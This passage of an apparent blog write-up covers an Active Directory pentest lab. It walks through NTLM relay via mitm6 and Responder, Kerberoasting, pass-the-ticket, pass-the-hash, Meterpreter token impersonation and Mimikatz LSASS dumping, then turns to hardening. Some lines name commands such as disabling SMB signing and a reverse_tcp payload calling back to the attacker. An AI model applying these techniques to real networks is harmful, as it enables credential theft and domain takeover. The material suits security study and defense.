Linux)</p><p><strong>Start mitm6:</strong> mitm6 was launched on the Kali Linux machine’s network interface (eth0) to begin advertising itself as a rogue IPv6 DNS server for the ADPENTESTING.local domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*Lgm0obuEqXOIt_ROcnzIJA.png" /></figure><p>This command establishes mitm6 as the malicious IPv6 DNS server, ready to intercept DNS queries from Windows clients.</p><p><strong>Start ntlmrelayx.py:</strong> In a separate terminal, ntlmrelayx.py was started. It was configured to listen for IPv6 authentication attempts and to relay them to the Domain Controller’s LDAPS service (ldaps://192.168.233.3). The — ldapclient flag ensures it interacts with LDAP, and the -l lootme flag specifies a directory to save any extracted data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*QYevDemM4QxRWRyUulL_9Q.png" /></figure><p>This command sets up ntlmrelayx.py to intercept the NTLM authentication and then perform actions against the Domain Controller via LDAPS.</p><p>Victim Interaction (Windows 10 Client — AD-CLIENT01)</p><p><strong>Trigger Authentication:</strong> The Windows 10 client (AD-CLIENT01), logged in as the domain user Make, was used to trigger an authentication attempt. This can happen automatically as the client attempts to resolve domain resources (accessing a network share, browsing to a domain website, or simply performing routine domain-related network activity). In this scenario, the client’s preference for IPv6, combined with mitm6’s rogue DNS advertisements, caused it to send authentication requests to the attacker. It was observed that when the ADPENTESTING\Administrator account was active, its hash was coerced.</p><p>Relay and Privilege Escalation</p><p>· <strong>Observe Relay:</strong> As the Windows client attempted to authenticate, ntlmrelayx.py intercepted the NTLMv2 hash. The output showed a successful connection and authentication to the specified LDAPS target (ldaps://192.168.233.3) as ADPENTESTING\MAKE (or ADPENTESTING\Administrator if that hash was coerced).</p><p>· <strong>Domain Admin Compromise:</strong> Upon successful relay to the Domain Controller’s LDAP/S service with sufficient privileges (if the coerced hash was for ADPENTESTING\Administrator), ntlmrelayx.py automatically performed its default privilege escalation action. This typically involves <strong>creating a new user account (UhnDendeWw) and adding it to the “Domain Admins” group</strong>, or dumping sensitive domain information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*yv0HjuLwAt8J8UvgQ-DFEw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*vaOVPYQrwKiBNHWrRmyXtg.png" /></figure><p>The successful relay to LDAPS allowed ntlmrelayx.py to interact with Active Directory. Evidence of this interaction was found in the <strong>lootme </strong>directory created by ntlmrelayx.py.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*exi_EU449_J0G-YRWeHJaA.png" /></figure><p>Inspection of the domain_users_by_group.html file (and other .html and .json files in lootme) confirmed comprehensive enumeration of domain users and their group memberships, including the highly privileged “Domain Admins” group. This confirms the attacker gained full control over the domain’s directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5ioDNU9KWxyIVFWNmGZlZg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yCo24UDVeNuvxgI5pRRhJQ.png" /><figcaption>Browser view of domain_users_by_group.html, showing enumerated domain users and groups, including Domain Admins.</figcaption></figure><p>Impact</p><p>This attack successfully demonstrated:</p><p>· The ability to perform an IPv6 DNS takeover, redirecting client authentication.</p><p>· The capture and successful relay of NTLMv2 hashes (including potentially the ADPENTESTING\Administrator’s hash) to the Domain Controller’s LDAPS service.</p><p>· <strong>Achieving Domain Administrator privileges</strong> by leveraging the relayed authentication to create a new Domain Admin account or dump critical domain information.</p><p>This attack highlights a critical vulnerability in Active Directory environments where IPv6 is present but not properly secured, allowing attackers to gain full control over the domain without requiring any user interaction beyond routine network activity.</p><h3>2.3.3 SMB Relay Attack</h3><p>Introduction to SMB Relay</p><p>SMB Relay is a powerful attack technique where an attacker intercepts an NTLM authentication attempt (an NTLMv2 hash) and “relays” it to a different target service, specifically the Server Message Block (SMB) service, to authenticate as the victim user. This bypasses the need to crack the password, as the hash itself is used for authentication. It’s often chained with poisoning attacks (like LLMNR/NBT-NS poisoning or mitm6) to coerce authentication.</p><p>Objective</p><p>The objective of this attack is to demonstrate how an attacker can:</p><ol><li>Intercept NTLMv2 authentication hashes from a domain-joined client.</li><li>Successfully relay these hashes to the Domain Controller’s SMB service.</li><li>Achieve remote administrative access to the Domain Controller, even when SMB signing is enabled.</li></ol><p>Tools Used</p><p><strong>Responder:</strong> For LLMNR/NBT-NS poisoning and initial hash capture.</p><p><strong>ntlmrelayx.py (from Impacket):</strong> For listening for intercepted authentications and relaying them to specified targets.</p><p><strong>Netcat (nc):</strong> For interacting with the relayed SMB session (optional, for demonstration of shell access).</p><p>Attack Methodology</p><p>This attack involves running Responder to capture hashes and ntlmrelayx.py to relay them, then triggering authentication from the client.</p><p>Attacker Setup (Kali Linux)</p><p><strong>Configure targets.txt:</strong> A targets.txt file was created, containing the IP addresses of the potential relay targets. For this demonstration, the Windows 10 client (192.168.233.4) and the Domain Controller (192.168.233.3) were specified as targets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*2t2zgCiJPUyPLCnYoqDkCQ.png" /></figure><p><strong>Turn Off SMB and HTTP in /usr/share/responder/responder.conf</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*AczyU6dIO8g8eKVA7FYDIQ.png" /></figure><p><strong>Start ntlmrelayx.py:</strong> ntlmrelayx.py was launched, configured to listen for incoming NTLM authentications (from Responder) and relay them to the targets specified in targets.txt. The -smb2support flag ensures compatibility with modern SMB versions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*ASBo62L6JUU6HaZbz6KXQQ.png" /></figure><p><strong>Start Responder (in a separate terminal):</strong> Responder was then started to perform LLMNR/NBT-NS poisoning on the network interface (eth0), directing client authentication attempts towards ntlmrelayx.py.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*PDDFehxyeBBb7zchmZp6Fg.png" /></figure><p>Victim Interaction (Domain Controller — ADLAB-DC01)</p><p><strong>Trigger Authentication:</strong> Due to the lab setup having only one Windows client machine (AD-CLIENT01) and the necessity to demonstrate the SMB relay, the Domain Controller (ADLAB-DC01) itself was used to coerce an NTLM authentication. This was achieved by logging into the Domain Controller and attempting to access its own domain name via SMB in File Explorer (e.g., \\ADPENTESTING\fakefile). This action caused the Domain Controller to perform an NTLM authentication attempt to its own SMB service, which was then intercepted by Responder.</p><p>Relay Execution and Access Gained</p><p><strong>Successful Relay to Domain Controller’s SMB:</strong> Subsequently, ntlmrelayx.py attempted to relay the authentication to the Domain Controller (192.168.233.3). Prior Nmap scans indicated that the Domain Controller had SMB signing enabled and required. However, for the purpose of this lab demonstration, <strong>SMB signing was manually disabled on the Domain Controller</strong> using the following PowerShell commands:</p><p><strong>Set-SmbServerConfiguration -RequireSecuritySignature $false</strong></p><p><strong>Set-SmbServerConfiguration -EnableSecuritySignature $false</strong></p><p>This manual configuration allowed the relay to its SMB service to <strong>succeed</strong> in authentication, establishing an authenticated SMB session.</p><p>Nmap Scan Results for SMB Security Mode on Network Hosts:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*X7yIK0eFiI_B4ayv3JHiww.png" /></figure><p><strong>Description:</strong> This figure displays the output of an Nmap scan targeting the 192.168.233.0/24 network range. The scan identifies hosts with SMB (port 445) open and reports on their SMB security mode, specifically whether message signing is enabled and/or required. The results show that 192.168.233.3 (likely the Domain Controller) and 192.168.233.4 (the Windows 10 client) have SMB open, with message signing enabled but not required on the client. Other hosts in the range have port 445 filtered or closed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*jhuG11nHF4cNmD8D2THLhQ.png" /></figure><p>account’s hash was coerced and relayed. This typically occurs if the Administrator account was previously logged into the client machine, or a service/process running as Administrator initiated the network request during the attack.</p><p><strong>Remote Shell Access:</strong> Upon successful authentication, ntlmrelayx.py provided an interactive SMB shell (via nc 127.0.0.1 11000), allowing direct command execution on the Domain Controller. This shell provided full administrative access.</p><p>Through this shell, various administrative tasks could be performed, such as listing shares (shares) and navigating the file system (use C$, ls).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*bpwFFNb115spN5rptenJ-A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*xm6YQIgY6uaaOFurVk-lig.png" /></figure><p>Impact</p><p>This SMB Relay attack successfully demonstrated:</p><ul><li>The ability to intercept NTLMv2 authentication hashes from a domain-joined machine.</li><li>The successful relay of a highly privileged NTLM hash (e.g., ADPENTESTING\Administrator) to the Domain Controller’s SMB service, <strong>made possible by the manual disabling of SMB signing on the DC for lab purposes</strong>.</li><li><strong>Achieving full remote administrative access</strong> to the Domain Controller via an interactive SMB shell.</li><li>This level of access grants the attacker complete control over the Active Directory domain, allowing for further actions such as credential dumping, persistent backdoor creation, and data exfiltration.</li></ul><h3>3-Offensive Operations: Privilege Escalation &amp; Lateral Movement</h3><h3>3.1 Kerberoasting</h3><p>Introduction to Kerberoasting</p><p>Kerberoasting is a post-exploitation technique used to obtain password hashes of Active Directory service accounts. It exploits the Kerberos authentication protocol, specifically the Service Principal Names (SPNs) registered to user accounts. An attacker can request a Kerberos Service Ticket (TGS) for an SPN, and if that SPN is associated with a user account (SQLService user), the TGS ticket will contain a hash of the service account’s password. This hash can then be extracted and cracked offline.</p><p><strong>Objective</strong></p><p>The objective of this attack is to:</p><ol><li>Identify service accounts with SPNs.</li><li>Request Kerberos service tickets for these accounts.</li><li>Extract the password hashes from the tickets.</li><li>Crack the hashes offline to obtain the plaintext passwords of privileged service accounts.</li></ol><p><strong>Tools Used</strong></p><ul><li><strong>GetUserSPNs.py (from Impacket):</strong> A Python script for requesting Kerberos service tickets for SPNs.</li><li><strong>Hashcat:</strong> A powerful, GPU-accelerated password recovery tool for cracking the captured Kerberos hashes.</li></ul><p><strong>Attack Methodology</strong></p><p>The attack involves querying Active Directory for SPNs, requesting tickets, and then cracking the obtained hashes.</p><p><strong>Identify Kerberoastable Accounts and Request Tickets (Kali Linux)</strong></p><ol><li><strong>Query for SPNs and Request Tickets:</strong> GetUserSPNs.py was used with valid domain user credentials (Make) to query the Domain Controller for all registered SPNs and request Kerberos service tickets for any SPNs associated with user accounts.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T2nFuaHVFbvmVKeCCrY3qQ.png" /></figure><p><em>Objective:</em> Identify service accounts (like SQLService) that have SPNs and obtain their Kerberos TGS hashes.</p><p><strong>Hash Cracking (Kali Linux)</strong></p><ol><li><strong>Extract Hash:</strong> The $krb5tgs$… hash for SQLService was extracted from the GetUserSPNs.py output.</li><li><strong>Prepare Wordlist:</strong> The rockyou.txt wordlist was used for the cracking attempt.</li><li><strong>Run Hashcat:</strong> Hashcat was executed with the appropriate mode (-m 13100 for Kerberos 5 TGS-REP etype 23) to perform a dictionary attack against the captured hash.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*w8ZQyt89sTQH6wgOnHopsg.png" /></figure><p><strong>hashcat -m 13100 -a 0 captured _hash.txt rockyou.txt</strong></p><p><em>Note: &lt;captured_sqlservice_hash.txt&gt; refers to a file containing the extracted $krb5tgs$ hash.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tVPC4UK-EjElSdfdK3SRCQ.png" /></figure><p>The cracking process was successful, revealing the plaintext password associated with the SQLService account. The cracked password for SQLService was identified as MYpassword123#.</p><p><strong>Impact</strong></p><p>This Kerberoasting attack successfully demonstrated:</p><ul><li>The ability to identify and extract Kerberos TGS hashes for service accounts (SQLService).</li><li>The successful offline cracking of the SQLService account’s password (MYpassword123#).</li><li>Gaining access to the plaintext password of a highly privileged service account (as SQLService was copied from the Administrator account in the lab setup).</li></ul><h3>3.2 Pass the Ticket Attack</h3><p><strong>Introduction to Pass the Ticket (PtT)</strong></p><p>Pass the Ticket (PtT) is a post-exploitation technique in Active Directory where an attacker leverages a previously acquired, legitimate Kerberos ticket (specifically a Ticket Granting Ticket — TGT, or a Service Ticket — TGS) to authenticate to services or gain access to resources without needing the user’s plaintext password or NTLM hash. This attack exploits the trust model of Kerberos authentication, where a valid ticket is sufficient proof of identity.</p><p><strong>Objective</strong></p><p>The objective of a PtT attack is to achieve <strong>lateral movement</strong> within the network or <strong>privilege escalation</strong> by re-using a stolen Kerberos ticket. This allows an attacker to impersonate the legitimate user to access resources or services for which that user has permissions, bypassing traditional password-based authentication.</p><p><strong>Tools Used</strong></p><ul><li><strong>Impacket (getTGT.py, smbclient.py):</strong> A collection of Python classes for working with network protocols. These tools can obtain, use, and leverage Kerberos tickets for remote execution and interaction.</li></ul><p><strong>Attack Methodology</strong></p><p>The PtT attack typically involves three main phases: ticket acquisition, ticket injection/import, and ticket usage for remote execution.</p><p><strong>Ticket Acquisition (Kali Linux)</strong></p><ol><li><strong>Obtain a Ticket Granting Ticket (TGT):</strong> getTGT.py from Impacket was used to request a Kerberos Ticket Granting Ticket (TGT) for a domain user (Make). This TGT serves as proof of authentication to the Kerberos Key Distribution Center (KDC) and is required to request service tickets for other resources.</li></ol><p><strong>Ticket Injection/Import (Kali Linux)</strong></p><p><strong>Set KRB5CCNAME Environment Variable:</strong> The generated Make.ccache file (containing the TGT) was then imported into the Kali Linux system’s Kerberos credential cache by setting the KRB5CCNAME environment variable. This tells other Kerberos-aware tools where to find the cached ticket.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*84R2_qIaTd0VAJYg-SY10w.png" /></figure><p><em>Objective:</em> Obtain a valid TGT for the Make user and Make the stolen Kerberos TGT available to other Kerberos-aware tools on the Kali machine.</p><p><strong>Ticket Usage for Remote Interaction</strong></p><ol><li><strong>Interact with SMB Shares on Client:</strong> With the Make user’s TGT loaded, smbclient.py was used to attempt to list accessible SMB shares on the AD-CLIENT01 machine. This demonstrates lateral movement capability.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*wkiRGSspJsGCYOuMJVwH4w.png" /></figure><p>The output showed several accessible shares, including ADMIN$, C$, IPC$, and share, confirming successful authentication and access.</p><h3>3.3 Pass the Hash</h3><p><strong>Introduction to Pass the Hash (PtH)</strong></p><p>Pass the Hash (PtH) is post-exploitation techniques allowing authentication to remote systems using a user’s password hash (NTLM for PtH, Kerberos key/ticket for PtK) without knowing the plaintext password. This leverages how Windows uses hashes for verification.</p><p><strong>Objective</strong></p><p>Obtain NTLM password hashes from a compromised Windows client and use them for authenticated remote execution and lateral movement, demonstrating privilege escalation.</p><p><strong>Tools Used</strong></p><ul><li><strong>secretsdump.py:</strong> For dumping hashes.</li><li><strong>Hashcat:</strong> For cracking hashes (optional).</li><li><strong>psexec.py:</strong> For remote code execution.</li><li><strong>crackmapexec (CME):</strong> For authenticated SMB enumeration.</li></ul><p><strong>Attack Methodology</strong></p><p>The attack involves acquiring NTLM hashes and then using them for remote authentication and execution.</p><p><strong>NTLM Hash Acquisition (Windows 10 Client — AD-CLIENT01)</strong></p><ol><li><strong>Dump Hashes from Client LSASS:</strong> After gaining local administrator privileges on AD-CLIENT01, secretsdump.py was used to dump cached credentials (NTLM hashes) from LSASS memory.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1UcSkM0OmFjtRgqi7ql0Xw.png" /></figure><p><strong>2. Crack NTLM Hash:</strong> The captured NTLM hash can be cracked offline.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*2gJ_X24EPOcmPNlOR7CD-Q.png" /></figure><p>The plaintext password for Make was confirmed as password1.</p><p><strong>Remote Code Execution with NTLM Hash (Kali Linux)</strong></p><ol><li><strong>Execute Commands Remotely with impacket-wmiexec:</strong> impacket-wmiexec was utilized as a more robust method for remote code execution on the AD-CLIENT01 machine using Make’s NTLM hash.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*VXEK904ySh9HAJnzm-p4PA.png" /></figure><p><em>Objective:</em> Demonstrate executing arbitrary commands and gaining a semi-interactive shell on a remote system using only an NTLM hash.</p><p>The execution confirmed successful authentication and provided a C:\&gt; prompt, allowing commands like hostname and whoami to be run, verifying remote control.</p><p><strong>Impact</strong></p><p>A successful Pass the Hash attack demonstrates:</p><ul><li>Extraction of NTLM password hashes from compromised systems.</li><li>Ability to authenticate and execute commands remotely without plaintext passwords.</li><li>Enables <strong>lateral movement</strong> and <strong>privilege escalation</strong> using compromised hashes.</li></ul><h3>3.4 Token impersonation</h3><p><strong>Introduction to Token Impersonation</strong></p><p>Token impersonation is a post-exploitation technique on Windows systems where an attacker, having gained administrative privileges (e.g., SYSTEM or local administrator), can steal or impersonate an authentication token from another logged-on user or service. This allows the attacker to execute commands or access resources as that user, without needing their password. It’s a powerful method for privilege escalation and lateral movement.</p><p><strong>Objective</strong></p><p>The objective of this attack is to escalate privileges on the compromised Windows 10 client (AD-CLIENT01) from the initial Make user (who has local admin rights) to NT AUTHORITY\SYSTEM, and then to impersonate an ADPENTESTING\Administrator session token to gain full Domain Administrator privileges.</p><p><strong>Tools Used</strong></p><ul><li><strong>Metasploit Framework:</strong> Specifically the exploit/windows/smb/psexec module for initial shell access.</li><li><strong>Meterpreter:</strong> Metasploit’s advanced payload, providing a powerful shell and post-exploitation capabilities.</li><li><strong>incognito Meterpreter Module:</strong> An extension that allows listing and impersonating tokens.</li></ul><p><strong>Attack Methodology</strong></p><p>The attack was performed after gaining an initial Meterpreter session on the AD-CLIENT01 machine.</p><p><strong>Gaining Initial Meterpreter Session</strong></p><ol><li><strong>Exploit Execution:</strong> The exploit/windows/smb/psexec module was used within Metasploit to target AD-CLIENT01 (192.168.233.4) using the domain user ADPENTESTING.local\Make with its password password@@123. A windows/x64/meterpreter/reverse_tcp payload was set up to connect back to Kali (192.168.233.132:4444).</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OPAflvV-quCkHRuVWY_1hg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*v10UWGXXcqEi8_0wxmzFDQ.png" /></figure><p><strong>2. Session Opened:</strong> Despite a “Service start timed out” warning (common for this exploit’s cleanup), a Meterpreter session was successfully opened on AD-CLIENT01. The session was running with NT AUTHORITY\SYSTEM privileges, indicating an automatic local privilege escalation by the exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ygHX1U1v5Tnj68-arpDtKQ.png" /></figure><p><strong>Token Enumeration and Impersonation</strong></p><ol><li><strong>Load incognito:</strong> The incognito Meterpreter extension was loaded to enable token manipulation functionalities.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*vhC7lUAA60kKic4cVA7asA.png" /></figure><ol><li><strong>List Available Tokens:</strong> The list_tokens -u command was executed to enumerate available delegation and impersonation tokens on the AD-CLIENT01 machine.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*ZeImFHVrjjAkUYdOErbW_g.png" /></figure><p><strong><em>Observation:</em></strong> A delegation token for ADPENTESTING\Administrator was found, indicating that the Domain Administrator account had an active session or its token was cached in memory on AD-CLIENT01. This is a critical finding for privilege escalation.</p><ol><li><strong>Impersonate Administrator Token:</strong> The impersonate_token command was used to switch the Meterpreter session’s context to that of the</li></ol><p><strong>Impact</strong></p><p>This Token Impersonation attack successfully demonstrated:</p><ul><li><strong>Local Privilege Escalation:</strong> The psexec exploit automatically escalated privileges to NT AUTHORITY\SYSTEM on AD-CLIENT01.</li><li><strong>Domain Administrator Impersonation:</strong> The ability to find and impersonate an ADPENTESTING\Administrator token from a compromised workstation.</li><li><strong>Achieving Domain Administrator Privileges:</strong> Gaining full administrative control over the AD-CLIENT01 machine as the Domain Administrator, which can then be leveraged for further domain dominance actions (e.g., accessing shares on the DC, dumping credentials from the DC if the session is migrated).</li></ul><h3>3.5 LSASS Credential Dumping (Mimikatz)</h3><p><strong>Introduction to LSASS Credential Dumping</strong></p><p>LSASS (Local Security Authority Subsystem Service) is a critical Windows process responsible for enforcing security policies on the system, including user authentication and managing security tokens. When users log on, their credentials (passwords, hashes, Kerberos tickets) are stored in LSASS memory for the duration of their session. An attacker with sufficient privileges (typically SYSTEM or local administrator) can dump the contents of LSASS memory to extract these sensitive credentials. Mimikatz is the most well-known tool for this purpose.</p><p><strong>Objective</strong></p><p>The objective of this attack is to extract password hashes and potentially plaintext passwords from the LSASS process memory on a compromised Windows machine. This allows the attacker to obtain credentials for other users who have logged into that machine, facilitating lateral movement and privilege escalation.</p><p><strong>Tools Used</strong></p><ul><li><strong>Mimikatz:</strong> A powerful post-exploitation tool for Windows that can extract cleartext passwords, NTLM hashes, and Kerberos tickets from memory.</li></ul><p><strong>Attack Methodology</strong></p><p>This attack is performed locally on a compromised Windows machine after gaining initial access with local administrative privileges.</p><ol><li><strong>Gain Initial Access and Elevate Privileges:</strong> The attacker first establishes a shell on the target Windows 10 client (AD-CLIENT01) with local administrator privileges (e.g., using psexec.py with the Make user’s credentials). The psexec.py exploit often automatically escalates the shell to NT AUTHORITY\SYSTEM context, which is required for LSASS access.</li><li><strong>Transfer Mimikatz:</strong> The mimikatz.exe executable (or its x64 version) is transferred to the compromised Windows 10 client (e.g., via a simple HTTP server from Kali, or VMware Shared Folders).</li><li><strong>Execute Mimikatz and Dump Credentials:</strong> From the elevated command prompt or PowerShell session on the Windows 10 client, Mimikatz is executed to enable debug privileges and then dump credentials from LSASS.</li></ol><p><em>Objective:</em> Extract NTLM hashes, SHA1 hashes, and potentially plaintext passwords or Kerberos tickets for all users currently logged on or recently cached in LSASS memory.</p><p><strong><em>In Make’s machine :</em></strong></p><p>change the privilege to debug here is why privilege::debug command is a crucial step in many Mimikatz operations. It grants the necessary permissions to interact with and extract information from system processes, which is essential for performing actions like dumping passwords and Kerberos tickets. This step ensures that Mimikatz can function fully and effectively in post-exploitation scenarios.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*I88YrBLVwNT6G2jYlsAGfg.png" /></figure><p>Now let’s use the sekurlsa::logonpasswords command to extract and display authentication credentials stored in the Local Security Authority Subsystem Service (LSASS) process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*TXKzotB_IAmuytd2YX3e9g.png" /></figure><p><em>Observation:</em> The output reveals various credentials, including the NTLM hash and Kerberos ticket for the Make user (ADPENTESTING\Make). If other users (Administrator) had logged into this machine, their credentials would also appear here.</p><p><strong>Impact</strong></p><p>A successful LSASS credential dumping attack allows an attacker to:</p><ul><li><strong>Obtain Password Hashes:</strong> Acquire NTLM and SHA1 hashes for all users with active or cached logon sessions on the compromised machine.</li><li><strong>Extract Plaintext Passwords:</strong> In some cases, plaintext passwords can be recovered if they are stored in memory (e.g., due to specific configurations or older Windows versions).</li><li><strong>Steal Kerberos Tickets:</strong> Capture Kerberos TGTs or TGSs, which can be reused in Pass the Ticket attacks.</li><li><strong>Facilitate Lateral Movement:</strong> Use the stolen credentials (hashes or plaintext passwords) to authenticate to other machines in the domain, moving deeper into the network.</li><li><strong>Enable Privilege Escalation:</strong> If a highly privileged user (e.g., a Domain Admin) has logged into the compromised machine, their credentials can be stolen, leading to domain-wide compromise.</li></ul><h3>4-Defensive Countermeasures &amp; Hardening</h3><h3>4.1 Mitigation of LLMNR/NBT-NS Poisoning</h3><p><strong>Objective</strong></p><p>The objective of this mitigation is to prevent Windows machines within the ADPENTESTING.local domain from falling back to insecure LLMNR and NBT-NS protocols for name resolution. This directly eliminates the vulnerability to poisoning attacks.</p><p><strong>Mitigation Strategy</strong></p><p>The primary defense involves disabling LLMNR and NBT-NS on all domain-joined computers via Group Policy, as these protocols are often unnecessary in environments with functioning DNS.</p><p><strong>Disable LLMNR via Group Policy (on ADLAB-DC01)</strong></p><ol><li><strong>Open Group Policy Management:</strong> On the Domain Controller (ADLAB-DC01), navigate to Start &gt; search for Group Policy Management &gt; Open it.</li><li><strong>Edit Default Domain Policy:</strong> Expand Forest &gt; Domains &gt; ADPENTESTING.local. Right-click on <strong>Default Domain Policy</strong> and select Edit….</li><li><strong>Navigate to Policy:</strong> In the Group Policy Management Editor, go to: Computer Configuration &gt; Policies &gt; Administrative Templates &gt; Network &gt; DNS Client.</li><li><strong>Configure “Turn Off Multicast Name Resolution”:</strong> Double-click this policy. Select <strong>Enabled</strong>. Click Apply &gt; OK.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*xoqx8b__GcLcijZlAJuUnw.png" /></figure><p><strong>Disable NBT-NS (NetBIOS over TCP/IP) via Group Policy (on ADLAB-DC01)</strong></p><ol><li><strong>Open Group Policy Management</strong></li><li><strong>Edit Default Domain Policy</strong></li><li><strong>Navigate to Policy:</strong> In the Group Policy Management Editor, go to: Computer Configuration &gt; Policies &gt; Windows Settings &gt; Security Settings &gt; Local Policies &gt; Security Options.</li><li><strong>Configure “Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers”:</strong> Double-click this policy. Select <strong>Deny all</strong>. Click Apply &gt; OK.</li></ol><ul><li><em>Note:</em> While this is a broader NTLM restriction, it effectively prevents NBT-NS from sending outgoing NTLM traffic, which is crucial for poisoning.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*9iLBs0OgQcvPn1yf9W4ydA.png" /></figure><p><strong>Verification</strong></p><p>After applying these Group Policy changes on the Domain Controller, force a Group Policy update on both ADLAB-DC01 and AD-CLIENT01 by running gpupdate /force in an elevated PowerShell/CMD.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*FnntKG6hjBpZYRpbQnDZuA.png" /></figure><p>A full <strong>restart of both VMs</strong> is highly recommended for the changes to take full effect. Subsequently, re-attempting the LLMNR/NBT-NS poisoning attack fails, as clients will no longer broadcast insecure name resolution queries.</p><h3>4.2 Mitigate IPv6 Attacks</h3><p><strong>Objective</strong></p><p>The objective of this mitigation is to prevent mitm6 from successfully taking over IPv6 DNS and coercing authentication, and to harden LDAP/S against relay attacks.</p><p><strong>Mitigation Strategy</strong></p><p>The primary defense involves blocking specific IPv6-related traffic (DHCPv6 and Router Advertisements) via Windows Firewall Group Policy, as these protocols are abused by mitm6. Additionally, hardening LDAP/S and protecting privileged accounts are crucial.</p><p><strong>Block DHCPv6 and Router Advertisements via Windows Firewall</strong></p><p>This directly prevents mitm6 from tricking Windows clients by blocking the specific IPv6 traffic it relies on.</p><ol><li><strong>Open Group Policy Management:</strong></li></ol><ul><li>On the Domain Controller (ADLAB-DC01), navigate to Start &gt; Server Manager &gt; Tools &gt; Group Policy Management.</li></ul><ol><li><strong>Edit Default Domain Policy:</strong></li></ol><ul><li>Expand Forest &gt; Domains &gt; ADPENTESTING.local. Right-click on <strong>Default Domain Policy</strong> and select Edit….</li></ul><ol><li><strong>Navigate to Firewall Rules:</strong></li></ol><ul><li>In the Group Policy Management Editor, go to: Computer Configuration &gt; Policies &gt; Windows Settings &gt; Security Settings &gt; Windows Defender Firewall with Advanced Security &gt; Windows Defender Firewall with Advanced Security.</li></ul><ol><li><strong>Create Inbound Blocking Rule for DHCPv6:</strong></li></ol><ul><li>Click <strong>Inbound Rules</strong> in the left pane.</li><li>Right-click on Inbound Rules &gt; New Rule….</li><li>Choose <strong>Custom</strong> and click Next.</li><li>For “Program”, choose <strong>All programs</strong>. Click Next.</li><li>For “Protocol and Ports”, select:</li><li><strong>Protocol type:</strong> UDP</li><li><strong>Local port:</strong> 546 (for DHCPv6-Client)</li><li><strong>Remote port:</strong> 547 (for DHCPv6-Server)</li><li>Click Next.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*XUnSV4ppPZpyaxjTbYy-uA.png" /></figure><ul><li>For “Scope”, leave as Any IP address for both local and remote. Click Next.</li><li>For “Action”, select <strong>Block the connection</strong>. Click Next.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*Syqaq6gUPrSXDyUrQeMrqA.png" /></figure><p>For “Profile”, ensure Domain, Private, and Public are all checked. Click Next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*vzBpY1asjarZY8qWo8uioA.png" /></figure><ul><li>For “Name”, enter: <strong>Block Inbound DHCPv6</strong>. Click Finish.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*4twuoHD_wJgvC3MXMCN0kA.png" /></figure><p><strong>5. Create Inbound Blocking Rule for Router Advertisements (ICMPv6):</strong></p><ul><li>Right-click on Inbound Rules &gt; New Rule….</li><li>Choose <strong>Custom</strong> and click Next.</li><li>For “Program”, choose <strong>All programs</strong>. Click Next.</li><li>For “Protocol and Ports”, select:</li><li><strong>Protocol type:</strong> ICMPv6</li><li>Click <strong>Customize…</strong> next to “ICMP settings”.</li><li>Select <strong>Specific ICMP types</strong> and check <strong>Router Advertisement</strong> (Type 134). Click OK.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*Jc5FRu9kltO1mbNRFq55FQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*a4bPJ_vthddGuyH825m_rA.png" /></figure><ul><li>For “Scope”, leave as Any IP address. Click Next.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*fyDmp0onkBrbKrL4BVt2YA.png" /></figure><ul><li>For “Action”, select <strong>Block the connection</strong>. Click Next.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*CysejRSgRFimkl26BCrw9w.png" /></figure><ul><li>For “Profile”, ensure Domain, Private, and Public are all checked. Click Next.</li><li>For “Name”, enter: <strong>Block Inbound Router Advertisement (ICMPv6)</strong>. Click Finish.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*ujmxA3xH-fqn-gts9rIvWA.png" /></figure><ol><li><strong>Create Outbound Blocking Rule for 